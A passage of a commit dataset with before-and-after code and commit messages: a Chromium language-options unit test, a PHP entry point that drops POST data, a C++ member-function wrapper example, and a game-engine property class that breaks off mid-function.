&display_name));\n ASSERT_TRUE(entry->GetString(\"nativeDisplayName\", &native_display_name));\n EXPECT_EQ(\"fil\", language_code);\n EXPECT_EQ(\"Filipino\", display_name);\n EXPECT_EQ(\"Filipino\", native_display_name);\n\n ASSERT_TRUE(list->GetDictionary(2, &entry));\n ASSERT_TRUE(entry->GetString(\"code\", &language_code));\n ASSERT_TRUE(entry->GetString(\"displayName\", &display_name));\n ASSERT_TRUE(entry->GetString(\"nativeDisplayName\", &native_display_name));\n EXPECT_EQ(\"fr\", language_code);\n EXPECT_EQ(\"French\", display_name);\n EXPECT_EQ(\"fran\\u00E7ais\", native_display_name);\n\n \/\/ This comes from kExtraLanguages.\n ASSERT_TRUE(list->GetDictionary(3, &entry));\n ASSERT_TRUE(entry->GetString(\"code\", &language_code));\n ASSERT_TRUE(entry->GetString(\"displayName\", &display_name));\n ASSERT_TRUE(entry->GetString(\"nativeDisplayName\", &native_display_name));\n EXPECT_EQ(\"id\", language_code);\n EXPECT_EQ(\"Indonesian\", display_name);\n EXPECT_EQ(\"Bahasa Indonesia\", native_display_name);\n\n ASSERT_TRUE(list->GetDictionary(4, &entry));\n ASSERT_TRUE(entry->GetString(\"code\", &language_code));\n ASSERT_TRUE(entry->GetString(\"displayName\", &display_name));\n ASSERT_TRUE(entry->GetString(\"nativeDisplayName\", &native_display_name));\n EXPECT_EQ(\"ja\", language_code);\n EXPECT_EQ(\"Japanese\", display_name);\n EXPECT_EQ(\"\\u65E5\\u672C\\u8A9E\", native_display_name);\n\n \/\/ This comes from kExtraLanguages.\n ASSERT_TRUE(list->GetDictionary(5, &entry));\n ASSERT_TRUE(entry->GetString(\"code\", &language_code));\n ASSERT_TRUE(entry->GetString(\"displayName\", &display_name));\n ASSERT_TRUE(entry->GetString(\"nativeDisplayName\", &native_display_name));\n EXPECT_EQ(\"es-419\", language_code);\n EXPECT_EQ(\"Spanish (Latin America)\", display_name);\n EXPECT_EQ(\"espa\\u00F1ol (Latinoam\\u00E9rica y el Caribe)\",\n native_display_name);\n}\n#endif \/\/ defined(OS_CHROMEOS)\n\n#if !defined(OS_MACOSX)\nTEST(LanguageOptionsHandlerTest, GetUILanguageCodeSet) {\n scoped_ptr<DictionaryValue> dictionary(\n LanguageOptionsHandler::GetUILanguageCodeSet());\n EXPECT_TRUE(dictionary->HasKey(\"en-US\"));\n \/\/ Note that we don't test a false case, as such an expectation will\n \/\/ fail when we add support for the language.\n \/\/ EXPECT_FALSE(dictionary->HasKey(\"no\"));\n}\n#endif \/\/ !defined(OS_MACOSX)\n\nTEST(LanguageOptionsHandlerTest, GetSpellCheckLanguageCodeSet) {\n scoped_ptr<DictionaryValue> dictionary(\n LanguageOptionsHandler::GetSpellCheckLanguageCodeSet());\n EXPECT_TRUE(dictionary->HasKey(\"en-US\"));\n}\n<commit_msg>Fix the unit test expectations to handle Australia<commit_after>\/\/ Copyright (c) 2011 The Chromium Authors. All rights reserved.\n\/\/ Use of this source code is governed by a BSD-style license that can be\n\/\/ found in the LICENSE file.\n\n#include \"chrome\/browser\/ui\/webui\/options\/language_options_handler.h\"\n\n#include <string>\n\n#include \"base\/memory\/scoped_ptr.h\"\n#include \"base\/values.h\"\n#include \"testing\/gtest\/include\/gtest\/gtest.h\"\n\n#if defined(OS_CHROMEOS)\n#include \"chrome\/browser\/chromeos\/cros\/cros_library.h\"\n#include \"chrome\/browser\/chromeos\/cros\/input_method_library.h\"\n#include \"chrome\/browser\/ui\/webui\/options\/chromeos\/cros_language_options_handler.h\"\n#endif \/\/ defined(OS_CHROMEOS)\n\n#if defined(OS_CHROMEOS)\nstatic chromeos::InputMethodDescriptors CreateInputMethodDescriptors() {\n chromeos::InputMethodDescriptors descriptors;\n descriptors.push_back(\n chromeos::InputMethodDescriptor(\"xkb:us::eng\", \"USA\", \"us\", \"eng\"));\n descriptors.push_back(\n chromeos::InputMethodDescriptor(\"xkb:fr::fra\", \"France\", \"fr\", \"fra\"));\n descriptors.push_back(\n chromeos::InputMethodDescriptor(\"xkb:be::fra\", \"Belgium\", \"be\", \"fr\"));\n descriptors.push_back(\n chromeos::InputMethodDescriptor(\"mozc\", \"Mozc (US keyboard layout)\", \"us\",\n \"ja\"));\n return descriptors;\n}\n\nTEST(LanguageOptionsHandlerTest, GetInputMethodList) {\n \/\/ Use the stub libcros. The object will take care of the cleanup.\n chromeos::ScopedStubCrosEnabler stub_cros_enabler;\n\n \/\/ Reset the library implementation so it will be initialized\n \/\/ again. Otherwise, non-stub implementation can be reused, if it's\n \/\/ already initialized elsewhere, which results in a crash.\n chromeos::CrosLibrary::Get()->GetTestApi()->SetInputMethodLibrary(NULL,\n false);\n\n chromeos::InputMethodDescriptors descriptors = CreateInputMethodDescriptors();\n scoped_ptr<ListValue> list(\n chromeos::CrosLanguageOptionsHandler::GetInputMethodList(descriptors));\n ASSERT_EQ(4U, list->GetSize());\n\n DictionaryValue* entry = NULL;\n DictionaryValue *language_code_set = NULL;\n std::string input_method_id;\n std::string display_name;\n std::string language_code;\n\n \/\/ As shown below, the list should be input method ids should appear in\n \/\/ the same order of the descriptors.\n ASSERT_TRUE(list->GetDictionary(0, &entry));\n ASSERT_TRUE(entry->GetString(\"id\", &input_method_id));\n ASSERT_TRUE(entry->GetString(\"displayName\", &display_name));\n ASSERT_TRUE(entry->GetDictionary(\"languageCodeSet\", &language_code_set));\n EXPECT_EQ(\"xkb:us::eng\", input_method_id);\n \/\/ Commented out as it depends on translation in generated_resources.grd\n \/\/ (i.e. makes the test fragile).\n \/\/ EXPECT_EQ(\"English (USA) keyboard layout\", display_name);\n ASSERT_TRUE(language_code_set->HasKey(\"en-US\"));\n ASSERT_TRUE(language_code_set->HasKey(\"id\")); \/\/ From kExtraLanguages.\n ASSERT_TRUE(language_code_set->HasKey(\"fil\")); \/\/ From kExtraLanguages.\n\n ASSERT_TRUE(list->GetDictionary(1, &entry));\n ASSERT_TRUE(entry->GetString(\"id\", &input_method_id));\n ASSERT_TRUE(entry->GetString(\"displayName\", &display_name));\n ASSERT_TRUE(entry->GetDictionary(\"languageCodeSet\", &language_code_set));\n EXPECT_EQ(\"xkb:fr::fra\", input_method_id);\n \/\/ Commented out. See above.\n \/\/ EXPECT_EQ(\"French keyboard layout\", display_name);\n ASSERT_TRUE(language_code_set->HasKey(\"fr\"));\n\n ASSERT_TRUE(list->GetDictionary(2, &entry));\n ASSERT_TRUE(entry->GetString(\"id\", &input_method_id));\n ASSERT_TRUE(entry->GetString(\"displayName\", &display_name));\n ASSERT_TRUE(entry->GetDictionary(\"languageCodeSet\", &language_code_set));\n EXPECT_EQ(\"xkb:be::fra\", input_method_id);\n \/\/ Commented out. See above.\n \/\/ EXPECT_EQ(\"Belgian keyboard layout\", display_name);\n ASSERT_TRUE(language_code_set->HasKey(\"fr\"));\n\n ASSERT_TRUE(list->GetDictionary(3, &entry));\n ASSERT_TRUE(entry->GetString(\"id\", &input_method_id));\n ASSERT_TRUE(entry->GetString(\"displayName\", &display_name));\n ASSERT_TRUE(entry->GetDictionary(\"languageCodeSet\", &language_code_set));\n EXPECT_EQ(\"mozc\", input_method_id);\n \/\/ Commented out. See above.\n \/\/ EXPECT_EQ(\"Japanese input method (for US keyboard)\", display_name);\n ASSERT_TRUE(language_code_set->HasKey(\"ja\"));\n}\n\nTEST(LanguageOptionsHandlerTest, GetLanguageList) {\n chromeos::InputMethodDescriptors descriptors = CreateInputMethodDescriptors();\n scoped_ptr<ListValue> list(\n chromeos::CrosLanguageOptionsHandler::GetLanguageList(descriptors));\n ASSERT_EQ(7U, list->GetSize());\n\n DictionaryValue* entry = NULL;\n std::string language_code;\n std::string display_name;\n std::string native_display_name;\n\n \/\/ As shown below, the list should be sorted by the display names,\n \/\/ and these names should not have duplicates.\n\n \/\/ This comes from kExtraLanguages.\n ASSERT_TRUE(list->GetDictionary(0, &entry));\n ASSERT_TRUE(entry->GetString(\"code\", &language_code));\n ASSERT_TRUE(entry->GetString(\"displayName\", &display_name));\n ASSERT_TRUE(entry->GetString(\"nativeDisplayName\", &native_display_name));\n EXPECT_EQ(\"en-AU\", language_code);\n EXPECT_EQ(\"English (Australia)\", display_name);\n EXPECT_EQ(\"English (Australia)\", native_display_name);\n\n ASSERT_TRUE(list->GetDictionary(1, &entry));\n ASSERT_TRUE(entry->GetString(\"code\", &language_code));\n ASSERT_TRUE(entry->GetString(\"displayName\", &display_name));\n ASSERT_TRUE(entry->GetString(\"nativeDisplayName\", &native_display_name));\n EXPECT_EQ(\"en-US\", language_code);\n EXPECT_EQ(\"English (United States)\", display_name);\n EXPECT_EQ(\"English (United States)\", native_display_name);\n\n \/\/ This comes from kExtraLanguages.\n ASSERT_TRUE(list->GetDictionary(2, &entry));\n ASSERT_TRUE(entry->GetString(\"code\", &language_code));\n ASSERT_TRUE(entry->GetString(\"displayName\", &display_name));\n ASSERT_TRUE(entry->GetString(\"nativeDisplayName\", &native_display_name));\n EXPECT_EQ(\"fil\", language_code);\n EXPECT_EQ(\"Filipino\", display_name);\n EXPECT_EQ(\"Filipino\", native_display_name);\n\n ASSERT_TRUE(list->GetDictionary(3, &entry));\n ASSERT_TRUE(entry->GetString(\"code\", &language_code));\n ASSERT_TRUE(entry->GetString(\"displayName\", &display_name));\n ASSERT_TRUE(entry->GetString(\"nativeDisplayName\", &native_display_name));\n EXPECT_EQ(\"fr\", language_code);\n EXPECT_EQ(\"French\", display_name);\n EXPECT_EQ(\"fran\\u00E7ais\", native_display_name);\n\n \/\/ This comes from kExtraLanguages.\n ASSERT_TRUE(list->GetDictionary(4, &entry));\n ASSERT_TRUE(entry->GetString(\"code\", &language_code));\n ASSERT_TRUE(entry->GetString(\"displayName\", &display_name));\n ASSERT_TRUE(entry->GetString(\"nativeDisplayName\", &native_display_name));\n EXPECT_EQ(\"id\", language_code);\n EXPECT_EQ(\"Indonesian\", display_name);\n EXPECT_EQ(\"Bahasa Indonesia\", native_display_name);\n\n ASSERT_TRUE(list->GetDictionary(5, &entry));\n ASSERT_TRUE(entry->GetString(\"code\", &language_code));\n ASSERT_TRUE(entry->GetString(\"displayName\", &display_name));\n ASSERT_TRUE(entry->GetString(\"nativeDisplayName\", &native_display_name));\n EXPECT_EQ(\"ja\", language_code);\n EXPECT_EQ(\"Japanese\", display_name);\n EXPECT_EQ(\"\\u65E5\\u672C\\u8A9E\", native_display_name);\n\n \/\/ This comes from kExtraLanguages.\n ASSERT_TRUE(list->GetDictionary(6, &entry));\n ASSERT_TRUE(entry->GetString(\"code\", &language_code));\n ASSERT_TRUE(entry->GetString(\"displayName\", &display_name));\n ASSERT_TRUE(entry->GetString(\"nativeDisplayName\", &native_display_name));\n EXPECT_EQ(\"es-419\", language_code);\n EXPECT_EQ(\"Spanish (Latin America)\", display_name);\n EXPECT_EQ(\"espa\\u00F1ol (Latinoam\\u00E9rica y el Caribe)\",\n native_display_name);\n}\n#endif \/\/ defined(OS_CHROMEOS)\n\n#if !defined(OS_MACOSX)\nTEST(LanguageOptionsHandlerTest, GetUILanguageCodeSet) {\n scoped_ptr<DictionaryValue> dictionary(\n LanguageOptionsHandler::GetUILanguageCodeSet());\n EXPECT_TRUE(dictionary->HasKey(\"en-US\"));\n \/\/ Note that we don't test a false case, as such an expectation will\n \/\/ fail when we add support for the language.\n \/\/ EXPECT_FALSE(dictionary->HasKey(\"no\"));\n}\n#endif \/\/ !defined(OS_MACOSX)\n\nTEST(LanguageOptionsHandlerTest, GetSpellCheckLanguageCodeSet) {\n scoped_ptr<DictionaryValue> dictionary(\n LanguageOptionsHandler::GetSpellCheckLanguageCodeSet());\n EXPECT_TRUE(dictionary->HasKey(\"en-US\"));\n}\n<|endoftext|>"} {"text":"<commit_before><?php\ndefine('APP_ENV', 'MAIN');\nrequire(__DIR__.'\/core\/app-load.php');\nheader('Content-Type: text\/html; charset=utf-8');\necho Helper::go(HTTP::GET, $_GET, $_POST, $_SERVER, $_COOKIE);\n<commit_msg>:bug: Ignore any post data in main website<commit_after><?php\ndefine('APP_ENV', 'MAIN');\nrequire(__DIR__.'\/core\/app-load.php');\nheader('Content-Type: text\/html; charset=utf-8');\necho Helper::go(HTTP::GET, $_GET, [], $_SERVER, $_COOKIE);\n<|endoftext|>"} {"text":"<commit_before>#include <iostream>\n\n#include \"memfun.hpp\"\n\nstruct S\n{\n void f() const noexcept\n {\n std::cout << \"Hello world!\" << std::endl;\n }\n\n void g(int const a) const noexcept\n {\n std::cout << a << std::endl;\n }\n};\n\n\nint main()\n{\n S s;\n\n auto const f(gnr::memfun<MEMFUN(S::f)>(s));\n\n f();\n\n auto const g(gnr::memfun<MEMFUN(S::f)>(&s));\n\n g();\n\n auto const h(gnr::memfun<MEMFUN(S::f)>());\n\n h(s);\n\n auto const i(gnr::memfun<MEMFUN(S::g)>());\n\n i(s, 10);\n i(&s, 10);\n\n return 0;\n}\n<commit_msg>some fixes<commit_after>#include <iostream>\n\n#include \"memfun.hpp\"\n\nstruct S\n{\n void f() const noexcept\n {\n std::cout << \"Hello world!\" << std::endl;\n }\n\n void g(int const a) const noexcept\n {\n std::cout << a << std::endl;\n }\n};\n\nint main()\n{\n S s;\n\n auto const f(gnr::memfun<MEMFUN(S::f)>(s));\n\n f();\n\n auto const g(gnr::memfun<MEMFUN(S::f)>(&s));\n\n g();\n\n auto const h(gnr::memfun<MEMFUN(S::f)>());\n\n h(s);\n\n auto const i(gnr::memfun<MEMFUN(S::g)>());\n\n i(s, 10);\n i(&s, 10);\n\n return 0;\n}\n<|endoftext|>"} {"text":"<commit_before>\/\/ -------------------------------------------------------------------------\r\n\/\/ @FileName : NFCProperty.cpp\r\n\/\/ @Author : LvSheng.Huang\r\n\/\/ @Date : 2012-03-01\r\n\/\/ @Module : NFCProperty\r\n\/\/\r\n\/\/ -------------------------------------------------------------------------\r\n\r\n#include \"NFCProperty.h\"\r\n#include <complex>\r\n\r\nNFCProperty::NFCProperty()\r\n{\r\n mbPublic = false;\r\n mbPrivate = false;\r\n mbSave = false;\r\n mSelf = NFGUID();\r\n eType = TDATA_UNKNOWN;\r\n\r\n msPropertyName = \"\";\r\n}\r\n\r\nNFCProperty::NFCProperty(const NFGUID& self, const std::string& strPropertyName, const TDATA_TYPE varType, bool bPublic, bool bPrivate, bool bSave, bool bView, int nIndex, const std::string& strScriptFunction)\r\n{\r\n\r\n mbPublic = bPublic;\r\n mbPrivate = bPrivate;\r\n mbSave = bSave;\r\n mbView = bView;\r\n mnIndex = nIndex;\r\n mSelf = self;\r\n\r\n msPropertyName = strPropertyName;\r\n eType = varType;\r\n}\r\n\r\nNFCProperty::~NFCProperty()\r\n{\r\n for (TPROPERTYCALLBACKEX::iterator iter = mtPropertyCallback.begin(); iter != mtPropertyCallback.end(); ++iter)\r\n {\r\n iter->reset();\r\n }\r\n\r\n mtPropertyCallback.clear();\r\n mxData.reset();\r\n}\r\n\r\nvoid NFCProperty::SetValue(const NFIDataList::TData& TData)\r\n{\r\n if (eType != TData.GetType())\r\n {\r\n return;\r\n }\r\n\r\n if (!mxData.get())\r\n {\r\n if (!TData.IsNullValue())\r\n {\r\n return;\r\n }\r\n\r\n mxData = NF_SHARE_PTR<NFIDataList::TData>(NF_NEW NFIDataList::TData(TData));\r\n }\r\n\r\n NFCDataList::TData oldValue;\r\n oldValue = *mxData;\r\n\r\n mxData->variantData = TData.variantData;\r\n\r\n NFCDataList::TData newValue;\r\n newValue = *mxData;\r\n\r\n OnEventHandler(oldValue , newValue);\r\n}\r\n\r\nvoid NFCProperty::SetValue(const NFIProperty* pProperty)\r\n{\r\n SetValue(pProperty->GetValue());\r\n}\r\n\r\nconst NFIDataList::TData& NFCProperty::GetValue() const\r\n{\r\n if (mxData.get())\r\n {\r\n return *mxData;\r\n }\r\n\r\n return NULL_TDATA;\r\n}\r\n\r\nconst std::string& NFCProperty::GetKey() const\r\n{\r\n return msPropertyName;\r\n}\r\n\r\nconst bool NFCProperty::GetSave() const\r\n{\r\n return mbSave;\r\n}\r\n\r\nconst bool NFCProperty::GetView() const\r\n{\r\n return mbView;\r\n}\r\n\r\nconst bool NFCProperty::GetPublic() const\r\n{\r\n return mbPublic;\r\n}\r\n\r\nconst bool NFCProperty::GetPrivate() const\r\n{\r\n return mbPrivate;\r\n}\r\n\r\nconst int NFCProperty::GetIndex() const\r\n{\r\n return mnIndex;\r\n};\r\n\r\nconst std::string& NFCProperty::GetRelationValue() const\r\n{\r\n return NULL_STR;\/\/msScriptFunction;\r\n}\r\n\r\nvoid NFCProperty::SetSave(bool bSave)\r\n{\r\n mbSave = bSave;\r\n}\r\n\r\nvoid NFCProperty::SetView(bool bView)\r\n{\r\n mbView = bView;\r\n}\r\n\r\nvoid NFCProperty::SetPublic(bool bPublic)\r\n{\r\n mbPublic = bPublic;\r\n}\r\n\r\nvoid NFCProperty::SetPrivate(bool bPrivate)\r\n{\r\n mbPrivate = bPrivate;\r\n}\r\n\r\nvoid NFCProperty::SetScriptFunction(const std::string& strScriptFunction)\r\n{\r\n \/\/msScriptFunction = strScriptFunction;\r\n}\r\n\r\nNFINT64 NFCProperty::GetInt() const\r\n{\r\n if (!mxData.get())\r\n {\r\n return 0;\r\n }\r\n\r\n return mxData->GetInt();\r\n}\r\n\r\ndouble NFCProperty::GetFloat() const\r\n{\r\n if (!mxData.get())\r\n {\r\n return 0.0;\r\n }\r\n\r\n return mxData->GetFloat();\r\n}\r\n\r\nconst std::string& NFCProperty::GetString() const\r\n{\r\n if (!mxData.get())\r\n {\r\n return NULL_STR;\r\n }\r\n\r\n return mxData->GetString();\r\n}\r\n\r\nconst NFGUID& NFCProperty::GetObject() const\r\n{\r\n if (!mxData.get())\r\n {\r\n return NULL_OBJECT;\r\n }\r\n\r\n return mxData->GetObject();\r\n}\r\n\r\nvoid NFCProperty::RegisterCallback(const PROPERTY_EVENT_FUNCTOR_PTR& cb)\r\n{\r\n mtPropertyCallback.push_back(cb);\r\n}\r\n\r\nint NFCProperty::OnEventHandler(const NFIDataList::TData& oldVar, const NFIDataList::TData& newVar)\r\n{\r\n if (mtPropertyCallback.size() <= 0)\r\n {\r\n return 0;\r\n }\r\n\r\n TPROPERTYCALLBACKEX::iterator it = mtPropertyCallback.begin();\r\n TPROPERTYCALLBACKEX::iterator end = mtPropertyCallback.end();\r\n for (it; it != end; ++it)\r\n {\r\n \/\/NFIDataList:OLDֵNEWֵ, ARG(pKernel,self)\r\n PROPERTY_EVENT_FUNCTOR_PTR& pFunPtr = *it;\r\n PROPERTY_EVENT_FUNCTOR* pFunc = pFunPtr.get();\r\n int nTemRet = pFunc->operator()(mSelf, msPropertyName, oldVar, newVar);\r\n }\r\n\r\n return 0;\r\n}\r\n\r\nbool NFCProperty::SetInt(const NFINT64 value)\r\n{\r\n if (eType != TDATA_INT)\r\n {\r\n return false;\r\n }\r\n\r\n\tif (!mxData.get())\r\n\t{\r\n\t\t\/\/ǿվΪûݣûݵľͲ\r\n\t\tif (0 == value)\r\n\t\t{\r\n\t\t\treturn false;\r\n\t\t}\r\n\r\n\t\tmxData = NF_SHARE_PTR<NFIDataList::TData>(NF_NEW NFIDataList::TData(TDATA_INT));\r\n\t\tmxData->SetInt(0);\r\n\t}\r\n\r\n\tif (value == mxData->GetInt())\r\n\t{\r\n\t\treturn false;\r\n\t}\r\n\r\n\tNFCDataList::TData oldValue;\r\n\toldValue = *mxData;\r\n\r\n\tmxData->SetInt(value);\r\n\r\n\tOnEventHandler(oldValue , *mxData);\r\n\r\n\treturn true;\r\n}\r\n\r\nbool NFCProperty::SetFloat(const double value)\r\n{\r\n if (eType != TDATA_FLOAT)\r\n {\r\n return false;\r\n }\r\n\r\n if (!mxData.get())\r\n {\r\n \/\/ǿվΪûݣûݵľͲ\r\n\t\tif (std::abs(value) < 0.001)\r\n\t\t{\r\n return false;\r\n }\r\n\r\n mxData = NF_SHARE_PTR<NFIDataList::TData>(NF_NEW NFIDataList::TData(TDATA_FLOAT));\r\n mxData->SetFloat(0.0);\r\n }\r\n\r\n if (value - mxData->GetFloat() < 0.001)\r\n {\r\n return false;\r\n }\r\n\r\n\r\n\tNFCDataList::TData oldValue;\r\n\toldValue = *mxData;\r\n\r\n\tmxData->SetFloat(value);\r\n\r\n\r\n\tOnEventHandler(oldValue , *mxData);\r\n\r\n\treturn true;\r\n}\r\n\r\nbool NFCProperty::SetString(const std::string& value)\r\n{\r\n if (eType != TDATA_STRING)\r\n {\r\n return false;\r\n }\r\n\r\n if (!mxData.get())\r\n {\r\n \/\/ǿվΪûݣûݵľͲ\r\n if (value.empty())\r\n {\r\n return false;\r\n }\r\n\r\n mxData = NF_SHARE_PTR<NFIDataList::TData>(NF_NEW NFIDataList::TData(TDATA_STRING));\r\n mxData->SetString(NULL_STR);\r\n }\r\n\r\n if (value == mxData->GetString())\r\n {\r\n return false;\r\n }\r\n\r\n\tNFCDataList::TData oldValue;\r\n\toldValue = *mxData;\r\n\r\n\tmxData->SetString(value);\r\n\r\n\tOnEventHandler(oldValue , *mxData);\r\n\r\n\treturn true;\r\n}\r\n\r\nbool NFCProperty::SetObject(const NFGUID& value)\r\n{\r\n if (eType != TDATA_OBJECT)\r\n {\r\n return false;\r\n }\r\n\r\n if (!mxData.get())\r\n {\r\n \/\/ǿվΪûݣûݵľͲ\r\n if (value.IsNull())\r\n {\r\n return false;\r\n }\r\n\r\n mxData = NF_SHARE_PTR<NFIDataList::TData>(NF_NEW NFIDataList::TData(TDATA_OBJECT));\r\n mxData->SetObject(NFGUID());\r\n\r\n }\r\n\r\n if (value == mxData->GetObject())\r\n {\r\n return false;\r\n }\r\n\r\n NFCDataList::TData oldValue;\r\n oldValue = *mxData;\r\n\r\n mxData->SetObject(value);\r\n\r\n OnEventHandler(oldValue , *mxData);\r\n\r\n return true;\r\n}\r\n\r\nbool NFCProperty::Changed() const\r\n{\r\n return GetValue().IsNullValue();\r\n}\r\n\r\nconst TDATA_TYPE NFCProperty::GetType() const\r\n{\r\n return eType;\r\n}\r\n\r\nconst bool NFCProperty::GeUsed() const\r\n{\r\n if (mxData.get())\r\n {\r\n return true;\r\n }\r\n\r\n return false;\r\n}\r\n\r\nstd::string NFCProperty::ToString()\r\n{\r\n std::string strData;\r\n const TDATA_TYPE eType = GetType();\r\n switch (eType)\r\n {\r\n case TDATA_INT:\r\n strData = lexical_cast<std::string> (GetInt());\r\n break;\r\n\r\n case TDATA_FLOAT:\r\n strData = lexical_cast<std::string> (GetFloat());\r\n break;\r\n\r\n case TDATA_STRING:\r\n strData = lexical_cast<std::string> (GetString());\r\n break; \r\n case TDATA_OBJECT:\r\n strData = GetObject().ToString();\r\n break;\r\n default:\r\n\r\n strData = NULL_STR;\r\n break;\r\n }\r\n\r\n return strData;\r\n}\r\n\r\nbool NFCProperty::FromString( const std::string& strData )\r\n{\r\n const TDATA_TYPE eType = GetType();\r\n bool bRet = false;\r\n switch (eType)\r\n {\r\n case TDATA_INT:\r\n {\r\n NFINT64 nValue = 0;\r\n bRet = NF_StrTo(strData, nValue);\r\n SetInt(nValue);\r\n }\r\n break;\r\n\r\n case TDATA_FLOAT:\r\n {\r\n double dValue = 0;\r\n bRet = NF_StrTo(strData, dValue);\r\n SetFloat(dValue);\r\n }\r\n break;\r\n\r\n case TDATA_STRING:\r\n {\r\n SetString(strData);\r\n bRet = true;\r\n }\r\n break; \r\n case TDATA_OBJECT:\r\n {\r\n NFGUID xID;\r\n \r\n bRet = xID.FromString(strData); \r\n SetObject(xID);\r\n }\r\n break;\r\n default:\r\n break;\r\n }\r\n\r\n return bRet;\r\n}\r\n<commit_msg>optimize code when property been set<commit_after>\/\/ -------------------------------------------------------------------------\r\n\/\/ @FileName : NFCProperty.cpp\r\n\/\/ @Author : LvSheng.Huang\r\n\/\/ @Date : 2012-03-01\r\n\/\/ @Module : NFCProperty\r\n\/\/\r\n\/\/ -------------------------------------------------------------------------\r\n\r\n#include \"NFCProperty.h\"\r\n#include <complex>\r\n\r\nNFCProperty::NFCProperty()\r\n{\r\n mbPublic = false;\r\n mbPrivate = false;\r\n mbSave = false;\r\n mSelf = NFGUID();\r\n eType = TDATA_UNKNOWN;\r\n\r\n msPropertyName = \"\";\r\n}\r\n\r\nNFCProperty::NFCProperty(const NFGUID& self, const std::string& strPropertyName, const TDATA_TYPE varType, bool bPublic, bool bPrivate, bool bSave, bool bView, int nIndex, const std::string& strScriptFunction)\r\n{\r\n\r\n mbPublic = bPublic;\r\n mbPrivate = bPrivate;\r\n mbSave = bSave;\r\n mbView = bView;\r\n mnIndex = nIndex;\r\n mSelf = self;\r\n\r\n msPropertyName = strPropertyName;\r\n eType = varType;\r\n}\r\n\r\nNFCProperty::~NFCProperty()\r\n{\r\n for (TPROPERTYCALLBACKEX::iterator iter = mtPropertyCallback.begin(); iter != mtPropertyCallback.end(); ++iter)\r\n {\r\n iter->reset();\r\n }\r\n\r\n mtPropertyCallback.clear();\r\n mxData.reset();\r\n}\r\n\r\nvoid NFCProperty::SetValue(const NFIDataList::TData& TData)\r\n{\r\n if (eType != TData.GetType())\r\n {\r\n return;\r\n }\r\n\r\n if (!mxData.get())\r\n {\r\n if (!TData.IsNullValue())\r\n {\r\n return;\r\n }\r\n\r\n mxData = NF_SHARE_PTR<NFIDataList::TData>(NF_NEW NFIDataList::TData(TData));\r\n }\r\n\r\n NFCDataList::TData oldValue;\r\n oldValue = *mxData;\r\n\r\n mxData->variantData = TData.variantData;\r\n\r\n NFCDataList::TData newValue;\r\n newValue = *mxData;\r\n\r\n OnEventHandler(oldValue , newValue);\r\n}\r\n\r\nvoid NFCProperty::SetValue(const NFIProperty* pProperty)\r\n{\r\n SetValue(pProperty->GetValue());\r\n}\r\n\r\nconst NFIDataList::TData& NFCProperty::GetValue() const\r\n{\r\n if (mxData.get())\r\n {\r\n return *mxData;\r\n }\r\n\r\n return NULL_TDATA;\r\n}\r\n\r\nconst std::string& NFCProperty::GetKey() const\r\n{\r\n return msPropertyName;\r\n}\r\n\r\nconst bool NFCProperty::GetSave() const\r\n{\r\n return mbSave;\r\n}\r\n\r\nconst bool NFCProperty::GetView() const\r\n{\r\n return mbView;\r\n}\r\n\r\nconst bool NFCProperty::GetPublic() const\r\n{\r\n return mbPublic;\r\n}\r\n\r\nconst bool NFCProperty::GetPrivate() const\r\n{\r\n return mbPrivate;\r\n}\r\n\r\nconst int NFCProperty::GetIndex() const\r\n{\r\n return mnIndex;\r\n};\r\n\r\nconst std::string& NFCProperty::GetRelationValue() const\r\n{\r\n return NULL_STR;\/\/msScriptFunction;\r\n}\r\n\r\nvoid NFCProperty::SetSave(bool bSave)\r\n{\r\n mbSave = bSave;\r\n}\r\n\r\nvoid NFCProperty::SetView(bool bView)\r\n{\r\n mbView = bView;\r\n}\r\n\r\nvoid NFCProperty::SetPublic(bool bPublic)\r\n{\r\n mbPublic = bPublic;\r\n}\r\n\r\nvoid NFCProperty::SetPrivate(bool bPrivate)\r\n{\r\n mbPrivate = bPrivate;\r\n}\r\n\r\nvoid NFCProperty::SetScriptFunction(const std::string& strScriptFunction)\r\n{\r\n \/\/msScriptFunction = strScriptFunction;\r\n}\r\n\r\nNFINT64 NFCProperty::GetInt() const\r\n{\r\n if (!mxData.get())\r\n {\r\n return 0;\r\n }\r\n\r\n return mxData->GetInt();\r\n}\r\n\r\ndouble NFCProperty::GetFloat() const\r\n{\r\n if (!mxData.get())\r\n {\r\n return 0.0;\r\n }\r\n\r\n return mxData->GetFloat();\r\n}\r\n\r\nconst std::string& NFCProperty::GetString() const\r\n{\r\n if (!mxData.get())\r\n {\r\n return NULL_STR;\r\n }\r\n\r\n return mxData->GetString();\r\n}\r\n\r\nconst NFGUID& NFCProperty::GetObject() const\r\n{\r\n if (!mxData.get())\r\n {\r\n return NULL_OBJECT;\r\n }\r\n\r\n return mxData->GetObject();\r\n}\r\n\r\nvoid NFCProperty::RegisterCallback(const PROPERTY_EVENT_FUNCTOR_PTR& cb)\r\n{\r\n mtPropertyCallback.push_back(cb);\r\n}\r\n\r\nint NFCProperty::OnEventHandler(const NFIDataList::TData& oldVar, const NFIDataList::TData& newVar)\r\n{\r\n if (mtPropertyCallback.size() <= 0)\r\n {\r\n return 0;\r\n }\r\n\r\n TPROPERTYCALLBACKEX::iterator it = mtPropertyCallback.begin();\r\n TPROPERTYCALLBACKEX::iterator end = mtPropertyCallback.end();\r\n for (it; it != end; ++it)\r\n {\r\n \/\/NFIDataList:OLDֵNEWֵ, ARG(pKernel,self)\r\n PROPERTY_EVENT_FUNCTOR_PTR& pFunPtr = *it;\r\n PROPERTY_EVENT_FUNCTOR* pFunc = pFunPtr.get();\r\n int nTemRet = pFunc->operator()(mSelf, msPropertyName, oldVar, newVar);\r\n }\r\n\r\n return 0;\r\n}\r\n\r\nbool NFCProperty::SetInt(const NFINT64 value)\r\n{\r\n if (eType != TDATA_INT)\r\n {\r\n return false;\r\n }\r\n\r\n\tif (!mxData.get())\r\n\t{\r\n\t\t\/\/ǿվΪûݣûݵľͲ\r\n\t\tif (0 == value)\r\n\t\t{\r\n\t\t\treturn false;\r\n\t\t}\r\n\r\n\t\tmxData = NF_SHARE_PTR<NFIDataList::TData>(NF_NEW NFIDataList::TData(TDATA_INT));\r\n\t\tmxData->SetInt(0);\r\n\t}\r\n\r\n\tif (value == mxData->GetInt())\r\n\t{\r\n\t\treturn false;\r\n\t}\r\n\r\n\tNFCDataList::TData oldValue;\r\n\toldValue = *mxData;\r\n\r\n\tmxData->SetInt(value);\r\n\r\n\tOnEventHandler(oldValue , value);\r\n\r\n\treturn true;\r\n}\r\n\r\nbool NFCProperty::SetFloat(const double value)\r\n{\r\n if (eType != TDATA_FLOAT)\r\n {\r\n return false;\r\n }\r\n\r\n if (!mxData.get())\r\n {\r\n 